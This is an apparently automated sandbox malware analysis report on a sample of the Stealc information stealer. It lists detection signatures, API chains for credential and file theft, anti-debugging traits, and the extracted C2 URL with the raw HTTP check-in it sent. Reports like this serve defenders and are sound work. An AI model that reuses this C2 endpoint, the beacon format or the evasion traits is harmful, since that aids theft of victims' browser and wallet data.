Windows Analysis Report
100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe

Overview

General Information

Sample name: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe
Analysis ID: 1528595
MD5: e35c6ad41081ddcda2ba9c65b5b1a6f8
SHA1: e675ad90c164244bac1c3a5cbacc932e9e0b3a8d
SHA256: 100f1c346cbcff15f4d9d75c791000625850e1c82b44ce9427ccf441f5c3cb79
Tags: exeStealcuser-abuse_ch
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Machine Learning detection for sample
Searches for specific processes (likely to inject)
AV process strings found (often used to terminate AV products)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
One or more processes crash
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection

barindex
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Avira: detected
Source: 00000000.00000003.2040364306.00000000022F0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://62.204.41.150/edd20096ecef326d.php", "Botnet": "default6_cap"}
Source: http://62.204.41.150 Virustotal: Detection: 9% Perma Link
Source: http://62.204.41.150/ Virustotal: Detection: 9% Perma Link
Source: http://62.204.41.150/edd20096ecef326d.php Virustotal: Detection: 12% Perma Link
Source: http://62.204.41.150/ows Virustotal: Detection: 6% Perma Link
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe ReversingLabs: Detection: 28%
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Virustotal: Detection: 37% Perma Link
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA, 0_2_0040C820
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_00407240
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00409AC0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 0_2_00418EA0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_00409B60
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022ACA87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat, 0_2_022ACA87
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A74A7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_022A74A7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A9D27 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_022A9D27
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B9107 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 0_2_022B9107
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A9DC7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_022A9DC7

Compliance

barindex
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Unpacked PE file: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.unpack
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E430
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004138B0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_00414570
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00414910
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040ED20
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BE70
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DE10
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004016D0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040DA80
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00413EA0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F6B0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_022AE697
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_022B3B17
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022B4B77
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_022AEF87
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_022B47D7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022AE077
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022ADCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_022ADCE7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AF8F1 FindFirstFileA, 0_2_022AF8F1
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_022AC0D7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022A1937
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_022B4107
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022AF917

Networking

barindex
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 62.204.41.150:80
Source: Malware configuration extractor URLs: http://62.204.41.150/edd20096ecef326d.php
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.150Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 62.204.41.150Content-Length: 218Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 42 41 30 32 44 45 30 34 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 63 61 70 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="hwid"4BBA02DE0439786254513------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="build"default6_cap------GCGHCBKFCFBFHIDHDBFC--
Source: Joe Sandbox View IP Address: 62.204.41.150 62.204.41.150
Source: Joe Sandbox View ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,HeapCreate,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_00404880
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.150Connection: Keep-AliveCache-Control: no-cache
Source: unknown HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 62.204.41.150Content-Length: 218Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 42 41 30 32 44 45 30 34 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 63 61 70 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="hwid"4BBA02DE0439786254513------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="build"default6_cap------GCGHCBKFCFBFHIDHDBFC--
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204081074.000000000073E000.00000004.00000020.00020000.00000000.sdmp, 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.000000000077D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.000000000077D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/0
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.000000000077D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php)
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php?
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpL
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.000000000077D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpl
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpo
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.150/ows
Source: Amcache.hve.4.dr String found in binary or memory: http://upx.sf.net

System Summary

barindex
Source: 00000000.00000002.2204131536.0000000000751000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2204339831.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 1308
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 00000000.00000002.2204131536.0000000000751000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2204339831.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: classification engine Classification label: mal100.troj.evad.winEXE@2/5@0/1
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00419600
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 0_2_00413720
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\5YWSW8ED.htm Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5500
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\d0253710-21c3-4f21-aed6-9a7924c91d3a Jump to behavior
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe ReversingLabs: Detection: 28%
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Virustotal: Detection: 37%
Source: unknown Process created: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe "C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe"
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 1308
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

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Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Unpacked PE file: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.jozizud:R;.raxup:R;.maweb:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Unpacked PE file: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.unpack
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: section name: .jozizud
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: section name: .raxup
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Static PE information: section name: .maweb
